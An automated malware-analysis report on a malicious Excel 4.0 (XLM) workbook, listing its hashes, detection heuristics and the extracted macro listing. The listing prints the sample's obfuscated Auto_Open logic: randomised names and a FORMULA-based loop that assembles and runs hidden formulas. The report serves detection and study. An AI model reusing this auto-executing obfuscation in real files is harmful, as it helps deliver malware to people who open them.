Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 456bbd76b1b1449b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:26 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 3ef1677ddce0a9a6a76592a8b9cdd9dd SHA-1: 760137f6d14f114299ba5f72ca57e7c48cd18fff SHA-256: 456bbd76b1b1449b01d41852fbabd63782988e5885f46b747ec689ed6ffe0a64
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6572 bytes
SHA-256: 683264acaa03a01702a29813b69a2648e14b3e8038306b67c21f2e853e90fa15
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PmfmWlAv
' 0018     24 LABEL : Cell Value, String Constant - AKMlcWCbS len=0 
' 0018     27 LABEL : Cell Value, String Constant - amAAZyRfrHeu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H162 
' 0018     27 LABEL : Cell Value, String Constant - CGtYCDBOkFMI len=0 
' 0018     26 LABEL : Cell Value, String Constant - DdfHcrPGRlG len=0 
' 0018     22 LABEL : Cell Value, String Constant - DfncApc len=0 
' 0018     25 LABEL : Cell Value, String Constant - dLOtVEXsYH len=0 
' 0018     25 LABEL : Cell Value, String Constant - fzIQSGArgr len=0 
' 0018     26 LABEL : Cell Value, String Constant - iEXWJtpkLte len=0 
' 0018     26 LABEL : Cell Value, String Constant - lExMSeAYGcg len=0 
' 0018     20 LABEL : Cell Value, String Constant - LTlYr len=0 
' 0018     22 LABEL : Cell Value, String Constant - lzkAxhz len=0 
' 0018     22 LABEL : Cell Value, String Constant - mLVPKFA len=0 
' 0018     26 LABEL : Cell Value, String Constant - msJtilYcuwW len=0 
' 0018     23 LABEL : Cell Value, String Constant - nrjmOnQL len=0 
' 0018     24 LABEL : Cell Value, String Constant - SbLApptbv len=0 
' 0018     21 LABEL : Cell Value, String Constant - SdhEAs len=0 
' 0018     22 LABEL : Cell Value, String Constant - sIiMpkv len=0 
' 0018     27 LABEL : Cell Value, String Constant - TWdQOYbWeIjX len=0 
' 0018     22 LABEL : Cell Value, String Constant - wfPOHbY len=0 
' 0018     23 LABEL : Cell Value, String Constant - WJjqjcMT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PmfmWlAv,H71,"SET.NAME("lzkAxhz",VALUE("0"))",""
'  PmfmWlAv,H74,"SET.NAME("wfPOHbY",lzkAxhz)",""
'  PmfmWlAv,H78,"SET.NAME("DfncApc",lzkAxhz)",""
'  PmfmWlAv,H81,"SET.NAME("DdfHcrPGRlG",COUNTA(lExMSeAYGcg))",""
'  PmfmWlAv,H84,"SET.NAME("WJjqjcMT",COUNTA(CGtYCDBOkFMI))",""
'  PmfmWlAv,H87,[],""
'  PmfmWlAv,H92,"SET.NAME("fzIQSGArgr","")",""
'  PmfmWlAv,H97,"wfPOHbY",""
'  PmfmWlAv,H102,"SET.NAME("amAAZyRfrHeu",HLOOKUP("*",lExMSeAYGcg,wfPOHbY,FALSE))",""
'  PmfmWlAv,H107,"AKMlcWCbS",""
'  PmfmWlAv,H109,"SET.NAME("iEXWJtpkLte",lzkAxhz)",""
'  PmfmWlAv,H111,[],""
'  PmfmWlAv,H113,"iEXWJtpkLte",""
'  PmfmWlAv,H118,"LTlYr",""
'  PmfmWlAv,H120,"mLVPKFA",""
'  PmfmWlAv,H123,"SbLApptbv",""
'  PmfmWlAv,H125,"SET.NAME("nrjmOnQL",VALUE(HLOOKUP("*",CGtYCDBOkFMI,SbLApptbv,FALSE)))",""
'  PmfmWlAv,H130,"msJtilYcuwW",""
'  PmfmWlAv,H134,"fzIQSGArgr",""
'  PmfmWlAv,H136,"DfncApc",""
'  PmfmWlAv,H139,NEXT(),""
'  PmfmWlAv,H142,"TWdQOYbWeIjX",""
'  PmfmWlAv,H146,"SET.NAME("f",INT(T(FORMULA(T(fzIQSGArgr)&"",""&T(TWdQOYbWeIjX)))))",""
'  PmfmWlAv,H150,"SdhEAs",""
'  PmfmWlAv,H154,NEXT(),""
'  PmfmWlAv,H158,RETURN(),""
'  PmfmWlAv,H188,"SET.NAME("sIiMpkv",H71)",""
'  PmfmWlAv,H193,"lExMSeAYGcg",""
'  PmfmWlAv,H195,"SET.NAME("CGtYCDBOkFMI",R51C14)",""
'  PmfmWlAv,H198,"SET.NAME("SdhEAs",205)",""
'  PmfmWlAv,H201,"SET.NAME("dLOtVEXsYH",8)",""
'  PmfmWlAv,H204,sIiMpkv(),""
'  PmfmWlAv,H205,HALT(),""

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